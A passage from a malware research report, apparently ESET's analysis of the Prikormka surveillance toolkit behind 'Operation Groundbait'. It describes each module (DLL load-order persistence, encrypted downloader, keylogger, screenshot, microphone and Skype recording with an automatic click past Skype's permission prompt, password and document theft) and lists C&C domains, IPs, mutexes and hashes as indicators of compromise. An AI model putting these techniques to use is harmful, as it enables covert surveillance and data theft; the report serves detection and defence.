Module code name Internal name of module FIlename Purpose PERSISTENCE samlib.dll samlib.dll, ntshrui.dll Used for persistence DOWNLOADER helpldr.dll helpldr.dll, _wshdmi.dll Downloads CORE module CORE hauthuid.dll hauthuid.dll, _svga.dll, _wshdmi.dll Loads all other modules, communicates with CC- servers, uploads logs DOCS_STEALER iomus.dll iomus.dll Collects documents KEYLOGGER kl.dll, hlpuctf.dll hlpuctf.dll Logs keystrokes SCREENSHOTS scrsh.dll scrsh.dll Grabs screenshots of desktop MICROPHONE snm.dll snm.dll Captures audio from microphone SKYPE swma.dll swma.dll Records Skype audio calls LOGS_ENCRYPTER atiml.dll atiml.dll Compresses and encrypts collected logs GEOLOCATION geo.exe Inv.exe Geo-locates the infected computer OS_INFO InfoOS mp.dll Collects information about infected computer PASSWORDS Brother mp.dll Collects saved passwords for various installed applications FILE_TREE mpTREE mp.dll Collects file tree of fixed disk of infected computer Table 1.
List of Prikormka modules identified during our research.
16Operation Groundbait: Analysis of a surveillance toolkit The following list contains filenames of modules that were referenced within mal- ware code, but we havent seen them during our research and thus were unable to assess their functionality: miron.dll meta.dll hmuid.dll sh.exe mupdate.exe It is important to note that Prikormka components made in the old period (be- tween 2008 and 2010) used a completely different naming scheme.
Here are some examples of such filenames: smdhostn.dll heading.dll lgs.dll la.dll lh.exe lp.exe inl.exe lid.dll PERSISTENCE module As described above, this module uses the DLL load-order hijacking technique to maintain persistence in the system.
When launched, this module creates the folder USERPROFILE\AppData\Local\ MMC and copies the following files there from the WINDIR directory: hauthuid.dll (CORE) hlpuctf.dll (KEYLOGGER) atiml.dll (LOGS _ ENCRYPTER) iomus.dll (DOCS _ STEALER) swma.dll (SKYPE) helpldr.dll (DOWNLOADER) rbcon.ini This component then loads and passes execution to the CORE module, or to the DOWNLOADER module if the CORE module is not found.
If the USERPROFILE\AppData\Local\MMC\nullstate.cfg file exists, then the component deletes all the filenames listed above from the MMC directory and quits, thus deactivating itself.
Some of the binaries of the PERSISTENCE module contain a PDB-path, which re- veals the directory structure used by the malware authors at compile time.
Three of these paths contain a time stamp, possibly from when the project was created or modified.
One such path contains the Russian string .
,
which translates as computer programs for work.
17Operation Groundbait: Analysis of a surveillance toolkit Figure 20.
Some of the PDB-paths discovered inside Prikormkas PERSISTENCE module.
DOWNLOADER module The main purpose of this component is to download the CORE module and ex- ecute it.
The DOWNLOADER module makes an HTTP request to one of its CC servers, receives data, decrypts the data, saves it under the name hauthuid.dll and then loads the DLL.
The communication is encrypted with the Blowfish cipher and then base64 encoded.
Figure 21.
Traffic captured from the Prikormka malwares DOWNLOADER module.
Along with the Campaign ID and Operator ID, the module includes in the request a date and time when infection occurred and whether the platform is 32-bit or 64-bit Windows.
Some of the binaries of the DOWNLOADER module contain PDB- paths, revealing that internally this module is called Loader or helpldr: Figure 22.
PDB-paths discovered inside Prikormkas DOWNLOADER module.
CORE module The CORE module is responsible for communications with CC servers and other tasks, including downloading additional modules, loading them, and uploading stolen data to the remote server.
Since this malware (and specifically the CORE module) has existed for several years, the details of implementation might vary, but the main concept of the CORE module has remained unchanged over the years.
The concept of the Prikormka malware is simple: the CORE module downloads additional components, which are used to harvest various types of data.
When such a component is loaded, it gathers sensitive information and saves this information to some specific log file.
The log file might store collected data in plain-text or it may be encrypted.
The CORE module checks periodically for such log files and when a log is available, it uploads it to the remote server.
The CORE module wont upload a log file if it is bigger than 500MB.
In order to store downloadable modules and collected log files, the CORE module creates two directories: USERPROFILE\AppData\Local\MMC\ USERPROFILE\AppData\Local\SKC\ 18Operation Groundbait: Analysis of a surveillance toolkit The MMC folder is primarily used for additional downloadable malware compo- nents the SKC folder is used for storing collected log files.
In the subsequent text we will use the term log folder to refer the SKC directory.
The downloadable modules are not able to upload collected data.
In fact, only the CORE and DOWNLOADER modules communicate with CC servers.
The commu- nication protocol of the CORE module is very similar to that of the DOWNLOADER module.
Figure 23.
Traffic captured from the Prikormka malwares CORE module.
The only difference between DOWNLOADER and CORE HTTP requests is the st parameter in the URL.
This parameter indicates which of the downloadable mod- ules are active and loaded by Prikormka.
With the current implementation, there is room for 11 additional modules.
The server responds with the content of the module that should be executed, or with a dummy answer.
The logs are uploaded during a POST request to a similar URL: hxxp:/server.ua/wd.php?snDATE _ TIME _ OF _ INFECTION It is worth mentioning that early versions of Prikormka stored CC servers in plain-text later, attackers used the base64 algorithm in order to hide the servers addresses.
Finally, the latest versions of the CORE modules use simple encryp- tion: to decrypt it, the researcher should add the hexadecimal value 0x17 to each encrypted byte.
Figure 24.
Example of simple encryption used by Prikormka to hide CC servers.
DOCS_STEALER module This module is responsible for collecting documents from removable media or fixed drives, connected via a USB interface.
The module focuses on collecting files with document-type extensions: .DOC, .XLS, .DOCX, .XLSX, .PPT, .PPTX, .PPS, .PPSX, .PDF, .RTF, .TXT, .ODT.
However, it does not collect all files, but only those which were modified in the last 7days (or 14, or 30, depending on which version of the module).
The collected files then are compressed, encrypted with Blowfish, and stored under the following scheme: USERPROFILE\AppData\Local\ioctl\DISK _ ID\ DATE _ TIME.kf 19Operation Groundbait: Analysis of a surveillance toolkit KEYLOGGER module This module is responsible for collecting keystrokes and the titles of foreground windows.
The collected information is saved to the log folder under the following names: DATE _ TIME _ fix.lg lgfix lpl fplid fmmlg If the log file is bigger than 10Mb, the module removes the log and starts anew.
Some versions of the module encrypt the log file using Blowfish.
SCREENSHOTS module This module is responsible for capturing screenshots of the victims desktop.
Bydefault, the module captures a screenshot every 15 minutes.
However, if the victim opens a VoIP application Skype or Viber, then the period between screen- shots is lowered dramatically to 5 seconds.
The captured screenshot is saved in the JPEG format.
The collected information is saved to the log folder under filenames DATE _ TIME.tgz.scrsh or DATE _ TIME.stgz.
MICROPHONE module This module is responsible for recording sound from a microphone.
The module records audio with 10 minutes duration.
It stops recording on command, or when there is no more free disk space available.
The recorded audio is encoded with the LAME MP3 encoder.
The collected information is saved to the log folder under the filename DATE _ TIME.snm.
SKYPE module This module is responsible for recording Skype audio chats.
In order to record Skype calls, the module uses a legitimate interface, called the Skype Desktop API.
When a third party application is about to use this API, the Skype messenger displays a warning, which asks the user to allow the access.
To bypass this Skype security feature, the Prikormka module creates a thread that attempts to find the window and click the Allow access button programmatically, without human interaction.
Figure 25.
The warning displayed by Skype.
The strings and some code fragments in this Prikormka module suggest that the implementation of this module was partly borrowed from the code published on the website openrce.org in 2006.
https://support.skype.com/en/faq/FA214/what-is-the-desktop-api https://www.openrce.org/repositories/users/Kostya/plugin_slave.c 20Operation Groundbait: Analysis of a surveillance toolkit Figure 26.
The string CREATE APPLICATION minishell suggests copied-and-pasted code.
The collected information is saved to the log folder using DATE _ TIME.skw and _ skype.log filenames.
LOGS_ENCRYPTER module This module is responsible for log encryption.
The module compresses data via the LZSS algorithm and encrypts the following log files with Blowfish: USERPROFILE\AppData\Local\MMC\inf USERPROFILE\AppData\Local\MMC\fsh USERPROFILE\AppData\Local\SKC\.scrsh USERPROFILE\AppData\Local\SKC\.snm USERPROFILE\AppData\Local\SKC\.skw Files listed in USERPROFILE\AppData\Local\MMC\ierdir.dat The file ierdir.dat is created by the CORE module it contains an encrypted list of files requested by attackers to upload from victims computer.
After encryption, the original (but not the encrypted) files are deleted.
Results of the encryption are stored in the following files: USERPROFILE\AppData\Local\MMC\ipl USERPROFILE\AppData\Local\MMC\kpl The encrypted content is additionally encoded with the base64 algorithm.
Inter- estingly, before the content starts, the module puts an additional signature there: Figure 27.
The atKsoft signature at the beginning of encrypted log files.
We have not found any legitimate application which can read such files or any other meaning of this mysterious atKsoft signature.
21Operation Groundbait: Analysis of a surveillance toolkit GEOLOCATION module This module is responsible for geo locating the infected computer.
Unlike other modules, this module is written in the C programming language.
This module collects information about currently available WiFi networks, including Service Set Identifier (SSID) and MAC-address.
Afterward, the module makes a request to the Google service, providing collected information as parameters the Google service response contains the possible location based on the information supplied.
Figure 28.
Traffic captured from Prikormka malwares GEOLOCATION module.
The collected information is saved to the log folder under the filename geoDATE.inf.
The binary of the GEOLOCATION module has a PDB-path the structure of this path is similar to the PDB-path of the DOWNLOADER module: Figure 29.
The PDB-path discovered inside the GEOLOCATION module.
OS_INFO module This module is responsible for collecting information about the infected computer.
The following information is collected by this module: Battery info for Notebooks Windows OS version Computer name and User name IP Addresses and MAC Addresses Physical memory Available disk drives Available printers Desktop resolution Installed antivirus software The module uses Windows API functions in order to collect this information.
Thecollected information is saved to the log folder under the filename DATE _ TIME.inf.
22Operation Groundbait: Analysis of a surveillance toolkit PASSWORDS module This module is responsible for collecting passwords stored in applications installed on the infected computer.
The module gathers the application version, logins and passwords stored in the following applications: Google Chrome Opera Browser Yandex Browser Comodo Dragon Internet Browser Rambler Browser (Nichrome) Mozilla Firefox Mozilla Thunderbird For some reason, this module does not collect passwords for Microsoft Internet Explorer and Microsoft Edge browsers.
Because the Yandex Browser and the Rambler Browser are popular mostly in Russian speaking countries, we think that it indicates that this module was designed for use against users located in such countries.
The collected information is saved to the log folder under the filename DATE _ TIME.inf.
FILE_TREE module This module is responsible for collecting information about the file system of the computers fixed drives, including paths of files with specific file extensions, their size and creation time.
The actual content of the file is not collected by this module.
The attackers are interested in the following file extensions: Documents: TXT, DOC, DOCX, XLS, XLSX, PPT, PPTX, PDF Archives: ZIP, RAR Databases: DB, SQLITE The Bat email client: TBB, CFG, CFN, TBN, TBB Microsoft Outlook: OST, PST Other: DAT, WAV, EXE Since The Bat email client is popular in Russian-speaking countries, the fact that malware is focused on file extensions associated with this email client is another indicator that the malware is created with the intention of using it against Rus- sian-speaking users.
It should be noted that the list of all file extensions does not represent the list found in any particular sample.
This list contains all the possible file extensions that we observed in different versions of the FILE_TREE module.
The attackers might build a custom version of this module for a specific victim.
The collected in- formation is saved to the log folder under the filename DATE _ TIME _ tree.
inf.
Some binaries of FILE_TREE modules have PDB-paths one such path reveals the username of the malware writer.
Figure 30.
A PDB-path discovered inside a FILE_TREE module.
23Operation Groundbait: Analysis of a surveillance toolkit CC servers During our research into Operation Groundbait we have observed a number of CC server domain names and IP addresses.
Most of them are located in Ukraine and are hosted by Ukrainian hosting providers.
Appendix B contains a more com- prehensive listing.
One of the CC servers, gils.ho[.
]ua has been in operation since 2008, accord- ing to information from the hosting company.
In order to hide their illegal activity, the attackers created a bogus website.
The website is dedicated to the capital of UkraineKiev.
Figure 31.
Bogus website created by attackers.
During our investigation we obtained access to an Operation Groundbait CC server that was misconfigured and allowed a public directory listing.
At one point, the root directory contained 33 subdirectories, with an individual folder for each victim.
This means that the server was used to control 33 Priko- rmka-infected computers.
The name of each sub-folder contains an Operator ID, aCampaign ID and the architecture of the infected device.
Each folder contains two sub-folders with the following names: data and util.
The first folder contains encrypted exfiltrated data and the second folder has encrypted Prikormka modules.
Figure 32.
Operation Groundbait CC server directory listing.
Figure 33.
The internal directory structure ofasubfolder.
24Operation Groundbait: Analysis of a surveillance toolkit In addition to the data and util folders, each victim-specific subfolder contained two plain-text log files: journal and log, revealing interesting findings about the malware operators and their victims.
The log file contains the communication log between the server and the infected computer: specifically, the IP address of the infected computer, date and time, type of request (GET or POST), the size of request, and the status of Prikormka modules (in cases where it is a GET request).
Figure 34.
The content of one log file located on the Operation Groundbait CC server.
The journal file contains the communication log between the server and the malware operator.
The communication log contains the IP address of the operator, the date, time, and type of request.
It should be noted that once downloaded by the malware operator, the file with exfiltrated data gets removed from the server.
Figure 35.
The content of the journal file located on an Operation Groundbait CC server.
According to our analysis of the communication logs from one server there were 33victims, located mostly in Eastern Ukraine.
In addition to those, there were afew victims located in Russia or in Kiev, Ukraine.
The analysis of logs revealed that several malware operators connected to the server using various internet service providers in Kiev and Mariupol.
Some of them accessed the CC via the Tor network.
25Operation Groundbait: Analysis of a surveillance toolkit Attribution In this section we make an attempt to identify the origin of the threat based on clues that were intentionally or unintentionally left by the attackers: Most of Prikormkas CC servers are located in Ukraine and hosted by Ukrainian hosting companies The group behind this threat has fluent knowledge of the Russian and Ukrainian languages, as evidenced by text in the decoy documents and malware binaries Some of the PDB-paths revealed that attackers used directories with names in Russian All analyzed Prikormka droppers contained language codes that correspond to Ukrainian (hexadecimal code 0x0422) or Russian (0x0419) languages in their PE resources (Figure 37) The compilation timestamps of Prikormka binaries suggest that the malware authors operate in the Eastern European time zone According to CC server logs, a number of malware operators participating in Operation Groundbait have been making connections through various internet providers in two Ukrainian cities: Kiev and Mariupol.
Figure 36.
The language codes distribution between droppers.
droppers with Russian language codes 42 droppers with Ukrainian language codes 49 26Operation Groundbait: Analysis of a surveillance toolkit Interestingly, the droppers from earlier period (2012-2015) do contain resources with Russian language codes.
The malware authors gradually switched from Rus- sian to Ukrainian in the mid of 2015.
Figure 38 depicts the distribution of the compilation hour of Prikormka samples.
Figure 37.
Samples sorted by hour (UTC).
We can deduce from this that the malware authors work from 6.00 to 16.00 (UTC), sometimes staying late in the evening.
This corresponds to the period 8.00 to 18.00 Eastern European Time, which would include normal Ukraine working hours.
Based on our research and the abovementioned facts, we conclude that the at- tackers behind Operation Groundbait are people with an interest in surveillance or spying on separatists in the Donetsk and Luhansk regions and a few specific high-profile targets, including Ukrainian politicians.
The malware operators and/ or authors have a knowledge of the Ukrainian and Russian language, and likely operate from within Ukrainian borders.
0 0 1 0 1 2 12 24 36 21 17 25 36 29 31 25 12 4 7 7 3 2 0 1 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 27Operation Groundbait: Analysis of a surveillance toolkit Conclusion Our research into these attack campaigns and the Prikormka malware itself sug- gests that this threat is the first publicly known Ukrainian malware that is being used in targeted attacks.
In terms of technical advancement, the attackers didnt demonstrate any sophis- ticated methods or novel techniques.
But whether an attacker uses sophisticated methods or not does not matter as long as they reach their ultimate goal: stealing the sensitive information they need from their targets.
The most noteworthy achievement accomplished by the attackers behind Operation Groundbait is that they have stayed under the radar for over 7 years.
The malware has been seen in the wild since at least 2008.
This finding is con- firmed by the timestamps of binaries, ESET telemetry, and by hosting providers used.
Operation Groundbait is, after BlackEnergy and Operation Potao Express, yet another demonstration that that using highly targeted malware for espionage amidst an armed conflict is an everyday reality.
Indicators of Compromise (IOC) that can be used to identify an infection can be found in Appendix B or on github.
For any inquiries or to make sample submissions related to the subject, contact us at: threatinteleset.com http://www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/ http://www.welivesecurity.com/2015/07/30/operation-potao-express/ http://github.com/eset/malware-ioc/tree/master/groundbait mailto:threatintel40eset.com?subjectOperation20Groundbait 28Operation Groundbait: Analysis of a surveillance toolkit Credits Special thanks to TheEnergyStory mailto:40TheEnergyStory?subjectOperation20Groundbait 29Operation Groundbait: Analysis of a surveillance toolkit APPENDIX A.
Details Of Prikormka Campaigns PT Time stamp (UTC) Campaign ID Malware Operator ID Apr 19 09:11:27 2012 N/A (corrupted) N/A Jul 25 08:31:32 2012 SKt N/A Sep 13 08:21:54 2013 MNa N/A Mar 12 15:17:23 2014 Pgks N/A Jul 15 12:18:51 2014 Abk N/A Oct 03 08:57:13 2014 W_zp7a N/A Nov 05 07:56:00 2014 zma N/A Nov 05 19:30:35 2014 Psep N/A Nov 13 10:20:10 2014 hmod N/A Nov 25 15:12:31 2014 1ff N/A Dec 01 08:07:07 2014 hmyr3 N/A Dec 05 13:11:35 2014 1ii N/A Jan 31 13:19:22 2015 1vo N/A Feb 10 18:31:49 2015 Pgad5 N/A Feb 19 15:51:33 2015 Pkof N/A Mar 02 16:23:42 2015 Ptrop N/A Mar 11 08:43:12 2015 l01u001 N/A Mar 23 12:46:24 2015 Asap N/A Mar 23 16:03:19 2015 P647 N/A Apr 10 12:26:20 2015 Plg8_ N/A May 06 06:08:52 2015 W_cu6a N/A May 24 08:46:38 2015 Pod13_ N/A Jun 11 14:59:45 2015 Aste N/A Jun 21 15:36:24 2015 MVD_LNR_kontakt 7 Jun 26 13:25:22 2015 r03u0002 N/A Jun 29 06:19:36 2015 Dmindoh_zb 7 Jul 01 12:42:04 2015 r03u0002 N/A PT Time stamp (UTC) Campaign ID Malware Operator ID Jul 05 06:21:49 2015 Lminfin 7 Jul 09 14:48:56 2015 gm 1 Jul 16 14:29:29 2015 Lmgb 7 Jul 16 14:55:50 2015 Lrod 7 Jul 16 15:03:59 2015 Dmo 7 Jul 18 04:35:41 2015 Lsck3 7 Jul 18 05:07:50 2015 Dmo 7 Jul 19 07:41:54 2015 PMil_6 N/A Jul 19 08:11:26 2015 PLmgb2 N/A Jul 20 17:51:04 2015 Psek 7 Jul 21 06:08:53 2015 medium 3 Jul 26 19:17:52 2015 MDLV2 7 Jul 26 19:22:27 2015 OSCE 7 Aug 07 09:23:57 2015 BOY_D 12 Aug 14 06:11:43 2015 BUR 7 Aug 17 17:58:58 2015 RBx 7 Aug 17 18:32:51 2015 MRV1 N/A Aug 22 11:35:37 2015 D_00732 7 Aug 28 13:42:34 2015 D_xxx 7 Sep 03 12:02:35 2015 zkonv N/A Sep 24 16:39:43 2015 L_mgb 7 Oct 13 10:52:47 2015 R_pol_x 7 Oct 13 11:54:58 2015 RF_lgm 7 Oct 14 06:55:23 2015 LKos_xx 7 Oct 21 12:56:05 2015 K83_mo 10 Oct 21 19:33:21 2015 DLB3 7 Oct 22 08:48:26 2015 DLB_sgrish 7 30Operation Groundbait: Analysis of a surveillance toolkit PT Time stamp (UTC) Campaign ID Malware Operator ID Oct 29 14:00:05 2015 FSfarm 11 Oct 30 07:40:28 2015 piter 8 Nov 11 08:57:44 2015 45K_perev 10 Nov 20 16:43:20 2015 30K_alfa 10 Nov 26 12:54:58 2015 REP_L 12 Nov 28 07:39:26 2015 L_K_geniy 7 Dec 03 07:21:31 2015 D_odSD 7 Dec 03 09:40:43 2015 L_min1 7 Dec 03 10:33:27 2015 D_newsG 7 Dec 15 11:48:39 2015 M_raz_ N/A Dec 18 09:12:40 2015 7_L_xxx 7 Dec 18 12:12:10 2015 33K_pushkin 10 Dec 28 13:57:12 2015 38K_135_vnos 10 Dec 29 14:58:11 2015 Kvk_ham 7 Jan 12 11:44:22 2016 38K_83_parf 10 Jan 14 09:14:22 2016 L_ssa 7 Jan 19 15:30:41 2016 shubin 35 Jan 19 15:31:31 2016 shubin 35 Jan 19 15:33:35 2016 shubin 35 Jan 22 10:04:27 2016 34_Ffot 11 Jan 30 06:38:17 2016 MM_mmh 7 Jan 30 07:56:11 2016 L_m3 7 Feb 01 09:46:49 2016 38_Faro 11 Feb 05 08:00:05 2016 MM_1eco 7 Feb 05 08:20:01 2016 MM_1kur 7 Feb 05 08:51:46 2016 L_1m1 7 Feb 08 14:49:52 2016 L_ment 7 Feb 17 15:06:39 2016 sdd1 12 Feb 22 14:25:18 2016 L_rozysk 7 Feb 22 14:29:36 2016 L_rozyskR 7 Feb 25 10:26:58 2016 33K_037 10 Feb 25 14:18:30 2016 F_ego 11 PT Time stamp (UTC) Campaign ID Malware Operator ID Mar 22 15:25:59 2016 sgukiev 11 Apr 08 12:13:20 2016 avl 6 Apr 18 11:10:21 2016 L_ukrB 7 Apr 27 12:40:46 2016 puh 6 May 05 11:42:54 2016 L_gp 7 31Operation Groundbait: Analysis of a surveillance toolkit APPENDIX B.
Indicators of Compromise (IoC) Users of ESET security software are fully protected from the Prikormka malware described in this paper.
Additionally, ESET will provide further information regard- ing this threat to any individuals or organizations that may be infected  either currently or in the past.
Contact email: threatinteleset.com mailto:threatintel40eset.com?subject 32Operation Groundbait: Analysis of a surveillance toolkit ESET detections Win32/Agent.
UIG trojan Win32/Agent.
XOR trojan Win64/Agent.
XOR trojan Win32/Agent.
XQX trojan Win32/Agent.
XRA trojan Win32/Agent.
XRB trojan Win32/Agent.
XRC trojan Win64/Agent.
DX trojan Win32/TrojanDropper.
Agent.
RGH trojan Win32/TrojanDropper.
Agent.
RHN trojan Win32/Prikormka trojan Win64/Prikormka trojan MSIL/Prikormka trojan Host-based PROGRAMFILES\IntelRestore\ USERPROFILE\Resent\roaming\ocp8.1\ USERPROFILE\AppData\Local\MMC\ USERPROFILE\AppData\Local\PMG\ USERPROFILE\AppData\Local\SKC\ USERPROFILE\AppData\Local\CMS\ USERPROFILE\AppData\Local\VRT\ USERPROFILE\AppData\Local\ioctl\ WINDIR\ntshrui.dll WINDIR\hauthuid.dll WINDIR\hlpuctf.dll WINDIR\atiml.dll WINDIR\iomus.dll WINDIR\swma.dll WINDIR\helpldr.dll WINDIR\rbcon.ini USERPROFILE\AppData\Local\CMS\krman.ini USERPROFILE\AppData\Local\VRT\ _ wputproc.dll Mutexes ZxWinDeffContexLNKINFO64 Zw _ oneldrContext43 Paramore756Contex43 ZxWinDeffContexSMD64 ZxWinDeffContexWriteUSBIO64x ZxWinDeffContexRNDRV45scr ZxWinDeffContexRNDRV45snd ZxWinDeffContexSkSwmA ZxWinDeffContexKINP64 ZxWinDeffContexRNDRV65 ZxWinDeffContexRNDRV65new ZxWinDeffContexRNDRV65xyz ZxWinDeffContexRNDRV65xy ZxWinDeffContexRNDRV64 Client67workProc98List3To CC servers disk-fulldatabase.rhcloud.com (IP: 54.175.208.187, 23.22.38.222) wallejob.in.ua (IP: 185.68.16.35) wallex.ho.ua (IP: 91.228.146.13) gils.ho.ua (IP: 91.228.146.12) literat.ho.ua (IP: 91.228.146.13) lefting.org (IP: 91.228.146.11) celebrat.net (IP: 91.228.146.11) bolepaund.com (IP: 91.228.146.12) Servers used for sending spearphishing emails server-eacloud.rhcloud.com (IP: 54.152.171.48, 54.163.210.39) easerver-fulldatabase.rhcloud.com (IP: 52.23.164.7, 23.22.221.237) 33Operation Groundbait: Analysis of a surveillance toolkit SHA-1 hashes Prikormka droppers: 42041871308B5711041B7AF69B78F45DF642546C 37F75844C0D0F7F80A699153AF131984D2CE2B6D 029F054A52FE93B0CD6C4D1D815A795EAE9CAAB4 66C143D7C33666903B174F4B94D609BE8791914D 60351035ECDEED071E3FB80AFFE08872A0B582C9 0296191B323900B2BC014E2ACB5E0614C679B682 1BF0E90027EF798727A4496B1928F1FA79146051 76CAE58E4DF4D029155BF2E44BA0F8075DC99020 C0FBE31F1E6E56E93932076BA55A5229E22B5C4A CF09B0CD03C9D0553F0B82827C989D04F1A1FAF1 7C28B907E1053F825478A74FDC1090FBF71DD878 D7F35B66C554EE1076279DF54C4E931651A7A211 2B0FB236DDC0098ADDF051531912FC2601FFCCDC EAB122E5857DF838469B5B00DA0A3BD06DF8DA05 00BCCEBB7614BA270CA2908EE5711F25D3740E7E F908824DB35EFD589449D04E41F8BCEA057F6E52 A8CED2FF8F3D4B77160CB81843652D971469A30B 6002357FB96A786401BAA40A89A85DBA3A7D7AD4 E3E9CA2AC83CFADD80FECD002B377B6B41AC5250 EAFC458AAC3F1564E940BAC7D45C1E659636CC86 FCBC8C75246511F9E4D49FE501F956A857FACE84 803C48A93785581AA89422B6B1E73677BF8DC749 87C34623EBEC481FD430F6CE26849220C641742C A1EE4E4BA27B4035F29FA6AB943AE072D42E65B8 19AAB5FAE0809F87EF27A18208A3C0C52DEA182A C88218C2C23555D5E39596B2110BDA54A7AD50DB EC16141D6C0399B74A26B7B572580B3AC4CBC811 76B77E40182DA242307272B9F77132ABB0B46515 7AB44936E5545C5778C697ABCC20FD8955E35F36 86DD049877B564158020AB9B1A6CA3C30371979D 8665C7A753BA5F619FE79D52DC49724F17D81DAC 8839ED42EC1440CBF30CC345F11B88450EA8FE46 4D2C8CD6C514202CBC133347E2C35F63F03A77BF CDF0734730EA786AD2D3B0E9D0D82F85D3C4AD07 99345C5E6FC6901B630C044DD5C6A5015A94B046 93FE501BCDF62060798E35643B7E5F4E3FFF05A6 1287205FE5B83583CB28D39D965D182EA1DFCFDB C0C4DB689F393A26611B7F8FE08F38B456A173DA 3F867CF4AE4B1232B08E40ADABE7BC21EF856FE2 E9A2B1611EDC105FBA65AFFCDAB062D6FA5C67B0 ADDF8193442D145C6BCB4C54B95A5CFE759C6436 CD5AA66AD7C8D418F19B486211591E31B5B74AB6 8A01C06DF6E59F1513146DFE07936E4ACA59B152 E35081B99C5445952AD4E204A4C42F06D7C3707D A6D8431EFBA501864C4646A63071D28B30EEBF99 613F631D0E384954D2FEA5BE39124AD821C8E5D6 D45CECD9DDD79259C6518300ED77257A9ABBDF92 642033A50EF2C51E1F391D85ED870B09A308469A FD95C6B33AF4B29EFBD26D388C50164C3167CB68 9A578C7C305BE62167EF87AB52E59A12F336186A FE9F5018198567F3D3FB3AA09279C65DBE981171 62487DD8EC172462F9B4CBB790EF6F7878D20352 E397F1D784B4A9EEE7EEAC427C549A301DEC0C7C E8A2734C3FFECB76DD4D1C28D646EE59188BE7BF 8DF79B2734BCD83B3D55FF99521D10E550DFCFF3 64D31BBCF8E224E06BB5F1B350D2F18BFDD78A8E D5B785F8F92C7588CFAD7A1A21DAFFA6EB9CFA5C 8327A743756FA1B051725BF8EC3FDD9B9E844E9A 98440EC18A7E78925CB760F5016111115C89F1F8 6E56BC6023085D6E88668D1C66B91AB5AA92F294 160CF2ABB25495188A0ACB523BD201B0369CFFD2 6E5A098A3EDDEEC2E4986DE84FB00D7EA7EE26B8 8358EA16A0DE64994FBECE1AAC69E847F91BB1B3 3A6C8CB6688E2A56057BA9B3680E5911D96B2C8C AB011CD03B3F211F43930AABD909B5611A829D9D 279711B6828B6CF642C0DAB4D16411C87956F566 2BF9CA8B16BCD679AFB6E9E53C3BB0B04E65044A 9551C390B2DF178DED895D531F440FDDBAE122AA BB8D93A4049968C6D5A243DCFB65A6F4B4DE22A2 80CB14652E8251C79187DF8A01D29ABD46A3118C 6E24C2403DAFAE05C351C5A0A16E2B6403E0F398 09EA7B2F67797915BBFED16F0B21E4E31F4980A3 0AA48DEE8F528B037D8D72AAD039BB2759F362E3 40D7D09053BF60925CBB820417A42DBC6293E017 A6600BD9752E041ED7EE026123A60B19C96259AB 506CCEBDAC5754D1E20D9C3FB280CEC7782EEA6E 40F33CD2AD98FE1E6BF4AB199021498F9E3125A1 9F03A4E0ACD38635104292B8054485E6BF898C48 B373BF4B3AA28FF6D373DA5EAA848AF9772F6454 FD83C2484E2986F22B09623E5971AA54FBD8BCD3 065B075293968732F2BE433B7B492869E4260EE5 B358687593FEBDFD0E1858726098DCFD61D9F8B5 FD2FBB8E4676673A35276B46F2C74562703BCF39 CCD19FD4A1408FCD855B7909578340846904E707 9D84665C00F81C2835E2A41711A139547351D850 69536CAF0522C1A915D6AC4C65177A26EFA7944B 243421FE7C1FC007EFA0C9CCAB6F6E2A0C94FCC2 5B7D6D7C3C4AD74A7F1E32B780776DB41FF18DDD 4418A32BBD215F5DE7B0063B91731B71804E7225 EE1E5D95FCAD429126944804D80D7C2412AF492E E494328255EF2B9ED9B332EE845513A93339217F 6B53A3A3CB9D87D5925C82839015DAD16042C2FF Prikormka early versions: 1B8BC6924F4CFC641032578622BA8C7B4A92F65E B5F1B3BD6AD281C8EB9D633A37E0BE63B97A8BEB BCEDAB81CC5F4D2EA1DA8A71F91DF6E16362723B DC52EE62B94DC38790C3EF855CE5773E48D6CD55 44B6B8375CF788076C0DD64A93E27F69A01F5DFD 539033DE14539D485481549EF84C9E49D743FC4C 34Operation Groundbait: Analysis of a surveillance toolkit Prikormka PERSISTENCE modules: AD9A6F7BA895769844663B4936E776239D3A3D17 E1B5CD1978F6C6D72AA6B07ADD1EE83E9BB8480D 6E312A999EE7DCD9EC8EB4F0A216F50F50EB09F6 8F8BD3C4CE2F932ABFB31B9F586C40D1E22EE210 3F8D8B20B8FCC200939BBB92FB3B93BB3B4ECD24 756730D1C542B57792F68F0C3BC9BCDE149CF7C6 4F1441F16E80272F488BB114DB6508F0BB9B9E1B 2E1C7FFAB7B1047E3438E6BA920D0914F8CC4E35 3C9990B5D66F3AE9AD9A39A10AC6D291DD86A8F9 CC7091228C1B5A0DAF39ECDA570F75F122BE8A16 26FAEAAE2C042C0A416287A7C54D63D5B4C781B3 854F7CB3A436721F445E0D13FB3BEFF11BF4153D 0596EFE47D6C143BE21294EB4E631A4892A0651A 7DAE2A15E364EE06C9301236AE8FC140884CEA95 C2F720DEF2264F08E5211671D46E73311DC6C473 36215D9A691D826E6CEBC65925BFA6B579675158 0354A768508F6B9D88588641397B76A0CBB10BF2 1790B3D73A5DD676D17B39C01A079DEBD6D9F5C5 2F1E4AF1A5A95B3483E901ABDD96454C57419BA4 53174F09C4EDB68ED7D9028B86154B9C7F321A30 FCD81737FF261A84B9899CB713933AA795279364 Prikormka DOWNLOADER modules: D12CD6C4CA3388B68FCF3E46E206064CAA75F893 C2EA09D162BDAD2541C97D30A4E171F267305671 C10D6E4ADB3B29C968D7F3086C8E7005DD1E36F4 CE4605994E514086ADA5A767296DB66D7EA84175 148218ECDDE9ECC19B1343080884EB819783D9B2 5B256971F332498ACC833B36CBE9AD0CEC71384C 4A8452575FF69BDD0806AA8915E459E8ADC66DF1 04DFC621649511E1AB6CB800124DD5E2874A1629 D51863CBC1AC4BFC2B87F247DC75975E2A9CD992 C8AF6A8270CBD030F09C24888480AEF093ACCF48 EF127184967BE14A3719978E0236FFF5C0AF811B 2FF9E3AB4912A4AEA3C511D9355B8EDD13888E2A 40B163E8E74397E69F18805BD7DAB67F06D3D9E2 A8DFCD6CDB0755966F3D6766B94989CDAA0C35F9 6D4A80FE57D57B43DAF85401DFDD2CDA48D1F023 7844678942383F8116BAC656BC56D4B230FF62E8 8B9460431296DAF13BBE8D0F81EBFC19A84BB741 995EE9772DDDF2D6B4A55ACF26FA41F40786532D ED7B147766C1370367D277F7BA7E354DBDDE5E09 37316B972F5C22D069764800475EED7CD3279802 1DF0B7239E48CF8E7391085BE5B835C892A5B3E8 0323D1C5D565627C32FF08780A59EB45D6C0C7C3 4673475BD3307FE8869ACA0402B861DDE5EC43AC F38CFC487481D2B0167E5B76F06500BC312081B6 